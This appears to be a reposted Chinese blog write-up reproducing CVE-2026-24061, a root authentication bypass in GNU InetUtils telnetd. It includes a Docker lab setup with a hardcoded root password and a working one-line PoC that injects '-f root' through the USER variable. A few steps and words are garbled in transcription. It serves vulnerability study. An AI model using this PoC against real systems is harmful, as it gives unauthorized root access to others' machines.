CVE复现|CVE-2026-24061复现

admin 2026-03-05 20:59:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章详细复现了CVE-2026-24061漏洞,该漏洞源于GNUInetUtilstelnetd服务未过滤USER环境变量,导致参数注入至login程序实现认证绕过。攻击者构造USER变量为’-froot’即可免密获取root权限。文中提供了完整的Docker靶场搭建步骤、环境配置代码及漏洞验证POC,步骤清晰极具可操作性,建议相关用户尽快升级至修复版本。 综合评分: 88 文章分类: 漏洞POC,漏洞分析,实战经验


cover_image

CVE复现 | CVE-2026-24061复现

凌日网络与信息安全团队

2026年3月4日 00:00 重庆

免责声明:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!

漏洞概述

CVE-2026-24061是存在于GNU InetUtils telnetd服务中的远程参数注入型认证绕过漏洞,由安全厂商SafeBreach-Labs的研究人员发现并披露,GNU官方于2026年1月20日同步发布修复版本(inetutils-2.8)。该漏洞的核心问题在于telnetd服务对客户端传入的USER环境变量缺乏任何过滤与校验,直接将其作为命令行参数传递给系统登录程序/usr/bin/login,进而被攻击者利用实现身份绕过。

漏洞逻辑

Telnetd服务的工作机制、login程序的参数设计、开源代码的安全校验缺失三个维度

Telnetd服务核心工作流程

telnetd是基于Telnet协议的远程登录服务端,核心是接收客户端连接、通过系统login程序认证身份,认证成功后分配shell会话。

流程简述:

  1. 客户端发起连接,与telnetd完成协议协商;

  2. telnetd请求用户名后存入USER环境变量;

    4.login程序接收参数后,向客户端请求密码,完成身份校验;

    5.校验通过,分配对应权限的shell会话;校验失败,拒绝连接。

  3. telnetd调用/usr/bin/login程序,将USER变量作为参数传递,格式为:/usr、in/login -p -h [客户端IP] [用户名];

未过滤的USER环境变量与login的-f参数漏洞

该漏洞属于组合型权限绕过漏洞,其核心原理为:telnetd服务在处理USER环境变量时,未对输入内容进行合法性校验与字符过滤,攻击者可通过构造特殊的USER变量值,注入login程序的 -f 参数;而 login 程序的 -f 参数支持直接免密登录指定用户,二者结合使得攻击者能够绕过身份认证,直接获取系统权限。

完整利用逻辑:单参数实现root权限提权

攻击者通过在客户端构造USER环境变量为 -f root ,使telnetd服务调用login程序时,执行恶意拼接后的命令:

/usr/bin/login -p -h [攻击者IP] -f root

login程序解、 到 -f root 参数后,会触发免密登录机制,直接跳过密码验证步骤,以root超级用户权限为攻击者分配shell会话。该漏洞利用过程无需输入账号密码,可实现一键绕过身份认证、秒级获取系统最高权限,攻击链路简洁且利用效率极高。

环境配置

创建Dockerfile

1. FROM ubuntu:24.04

3. # 避免交互式安装提示
4. ENV DEBIAN_FRONTEND=noninteractive

6. # 更新软件源 + 安装必要的软件包 + 清理缓存
7. RUN apt-get update && \
8. apt-get install -y \
9. openbsd-inetd \
10. inetutils-telnetd \
11. telnet \
12. passwd && \
13. apt-get clean && \
14. rm -rf /var/lib/apt/lists/*

16. # 启用 telnet 服务(把 #<off># 开头的行取消注释)
17. RUN sed -i 's/^#<off># telnet/telnet/' /etc/inetd.conf

19. # 设置 root 密码(生产环境强烈不建议这样做,仅用于测试/学习)
20. RUN echo "root:root123" | chpasswd

22. # 暴露 telnet 默认端口
23. EXPOSE 23

25. # 启动 inetd(-d 表示 debug 模式,会在前台输出日志,便于调试)
26. CMD ["/usr/sbin/inetd", "-d"]

搭建镜像

1. # 构建镜像
2. docker build&nbsp;-t&nbsp;my-telnet:test&nbsp;.
3. # 运行(映射 23 端口,建议只本地测试)
4. docker run&nbsp;-d&nbsp;-p&nbsp;127.0.0.1:2323:23--name test-telnet &nbsp;&nbsp;my-telnet:test
5. # 连接测试(在本机)
6. telnet&nbsp;127.0.0.12323
7. # 登录:root / root123

漏洞验证

获取wsl ip

1. hostname&nbsp;-I

POC

1. USER='-f root'&nbsp;telnet&nbsp;-a ip port

把上步所得ip地址替换即可

参考文章

【潜伏11年的Telnetd核弹漏洞:CVE-2026-24061零认证提权席卷全球,公开PoC触发全网紧急防御】https://mbd.baidu.com/ma/s/Kr3zAEWv

https://www.cnblogs.com/hzhsec/p/19523208

免责声明:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌日网络与信息安全团队 《CVE复现 | CVE-2026-24061复现》

评论:0   参与:  0